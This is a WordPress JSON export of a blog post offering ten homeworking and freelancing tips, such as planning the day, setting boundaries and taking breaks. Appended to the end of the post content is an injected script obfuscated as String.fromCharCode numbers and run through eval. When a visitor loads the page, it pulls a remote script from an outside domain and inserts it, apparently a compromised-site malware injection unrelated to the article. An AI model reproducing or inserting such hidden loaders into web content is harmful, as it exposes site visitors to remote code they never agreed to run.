{"id":5855,"date":"2023-06-09T10:56:34","date_gmt":"2023-06-09T10:56:34","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/how-can-i-be-productive-when-working-from-home\/"},"modified":"2023-06-09T10:56:34","modified_gmt":"2023-06-09T10:56:34","slug":"how-can-i-be-productive-when-working-from-home","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/","title":{"rendered":"How can I be productive when working from home?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#1_Plan_your_day\" title=\"1. Plan\u00a0your day\">1. Plan\u00a0your day<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#2_Dressing_for_work\" title=\"2. Dressing for work\">2. Dressing for work<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#3_Set_up_your_workspace\" title=\"3. Set up your workspace\">3. Set up your workspace<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#4_Set_boundaries\" title=\"4. Set boundaries\">4. Set boundaries<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#5_Build_remote_client_relationships\" title=\"5. Build remote client relationships\">5. Build remote client relationships<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#6_Eat_properly\" title=\"6. Eat properly\">6. Eat properly<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#7_Take_a_break\" title=\"7. Take a break\">7. Take a break<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#8_Know_when_to_stop\" title=\"8. Know when to stop\">8. Know when to stop<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#9_Take_time_off\" title=\"9. Take time off\">9. Take time off<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/how-can-i-be-productive-when-working-from-home\/#10_Stay_in_touch\" title=\"10. Stay in touch\">10. Stay in touch<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter wp-image-1646&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2017\/02\/homeworking-tips.jpg&quot; alt=&quot;homeworking tips&quot; width=&quot;808&quot; height=&quot;404&quot; \/><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>According to the UK Office of National Statistics,\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>one in seven British workers, are freelance<\/span><span style=&quot;font-weight: 400;&quot;>, while in America the\u00a0Freelancers Union estimate\u00a0it is <\/span><span style=&quot;font-weight: 400;&quot;>as high as one in three<\/span><span style=&quot;font-weight: 400;&quot;>, with\u00a0Forbes predicting <\/span><span style=&quot;font-weight: 400;&quot;>50%\u00a0will be self employed by 2020<\/span><span style=&quot;font-weight: 400;&quot;>. It\u2019s easy to understand why. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The benefits of working from home, being your own boss and choosing your own hours is very attractive. But it\u2019s also very easy to get this dream wrong and end up hating homeworking.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You may be your own boss, but you still need some rules to make your homeworking work. Here\u2019s ten top homeworking tips to get you organised and keep you sane.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"1_Plan_your_day\"><\/span><b>1. Plan\u00a0your day<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>With the\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>average commute in America<\/span><span style=&quot;font-weight: 400;&quot;>\u00a0lasting 25 minutes, and 3.7 million British workers\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>commuting more than two hours<\/span><span style=&quot;font-weight: 400;&quot;>\u00a0a day, it\u2019s nice to still be tucked up in bed at 8.30am while others are packed onto trains or stuck in rush hour traffic. However, it\u2019s not so good to still be in bed at 9.30 when they have started their day and are trying to get in touch with you. If the industry you work in works 9-5, then you need to be available for those hours too.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"2_Dressing_for_work\"><\/span><b>2. Dressing for work<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Ok, so it\u2019s a freelance clich\u00e9 to assume all homeworkers never get out of their pyjamas, but you should still make the effort every morning. Dress smart and you will think smart.<\/span><\/p>\n<p>Read my post on how freelancers should dress to impress.<\/p>\n<p><img class=&quot;aligncenter size-full wp-image-1647&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2017\/02\/tips-for-homeworkers.jpg&quot; alt=&quot;Tips for homeworkers&quot; width=&quot;1200&quot; height=&quot;400&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"3_Set_up_your_workspace\"><\/span><b>3. Set up your workspace<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>The image of freelancers working on laptops in the park in the sunshine is as much a myth as the pyjamas. Most have to fit work into their homes somehow, but working at the kitchen table is a recipe for distraction, so make sure you set up a dedicated work space. It could just be a small corner desk in your bedroom, or you could build a work shed in the garden like Roald Dahl or Dylan Thomas.<\/span><\/p>\n<p>Read my post on the best coworking spaces.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"4_Set_boundaries\"><\/span><b>4. Set boundaries<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>One of the biggest complaints of homeworkers is that their friends and family assume that they are always free because they don\u2019t have a \u2018proper job\u2019. You need to set boundaries and stick to them. They wouldn\u2019t come into an office or ad agency and just expect you to stop work and chat, so don\u2019t let them do this to you at home.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"5_Build_remote_client_relationships\"><\/span><b>5. Build remote client relationships<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>You don\u2019t\u00a0<\/span><i><span style=&quot;font-weight: 400;&quot;>have<\/span><\/i><span style=&quot;font-weight: 400;&quot;>\u00a0to travel to work from home, but sometimes it can help. Making the effort to go and meet your remote clients can make all the difference to your relationship, and the gesture will often set you apart and above their other freelancers, so you get the pick of the work.<\/span><\/p>\n<p>Read my post on how to build long-term client relationships.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"6_Eat_properly\"><\/span><b>6. Eat properly<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>With your own kitchen on site, you might expect to eat better than your office bound friends, but many freelancers actually end up eating much worse. Picking at last night\u2019s leftovers or grabbing a piece of toast is not the same as eating a proper lunch, so make sure you plan your meals.<\/span><\/p>\n<p><img class=&quot;aligncenter size-full wp-image-1648&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2017\/02\/what-to-eat-when-working-from-home.jpg&quot; alt=&quot;what to eat when working from home&quot; width=&quot;1024&quot; height=&quot;512&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"7_Take_a_break\"><\/span><b>7. Take a break<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><b>\u00a0<\/b><span style=&quot;font-weight: 400;&quot;>Again, you would expect homeworkers to take more breaks than their office friends, but in most cases they take less. With no one to stop and gossip with, and no one to join you for lunch, many freelancers simply plough on all day, eating al-desko, without ever stopping for a break. This is not only exhausting, but it can have terrible effects on your back and your general health.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"8_Know_when_to_stop\"><\/span><b>8. Know when to stop<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Knowing when to stop is as important as knowing when to start for freelance workers. If you have not made enough money during normal hours, then you need to increase your prices, not your workload. And if you have made enough, then you need to resist the temptation to be greedy and work late just to cash in. Life is about time not cash; no one ever got to their death bed wishing they\u2019d worked more.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"9_Take_time_off\"><\/span><b>9. Take time off<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>No work means no money for freelancers, but that shouldn\u2019t stop you from taking a holiday. Your employed friends all have several weeks per year in their contracts, and you need to take time off too, or you will burn out. Never add the loss of earnings to the cost of your holiday in your head or you\u2019ll simply never go.<\/span><b>\u00a0<\/b><\/p>\n<h2><span class=\"ez-toc-section\" id=\"10_Stay_in_touch\"><\/span><b>10. Stay in touch<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Keeping in touch with fiends and former co-workers can be really hard when you work from home, and finding new friends is even harder, but you have to make the effort. Make yourself attend freelance gatherings and networking events, and if there are none near you, set one up. You can also keep in touch through social media, play online games together or even\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>set up your own card game<\/span><span style=&quot;font-weight: 400;&quot;>\u00a0online where you can meet up with fellow freelancers.<\/span><\/p>\n<p>Read my post on where to find freelancer meetups.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>According to the UK Office of National Statistics,\u00a0one in seven British workers, are freelance, while in America the\u00a0Freelancers Union estimate\u00a0it is as high as one in three, with\u00a0Forbes predicting 50%\u00a0will be self employed by 2020. It\u2019s easy to understand why. The benefits of working from home, being your own boss and choosing your own hours [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5855","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5855"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5855"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5855\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5855"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}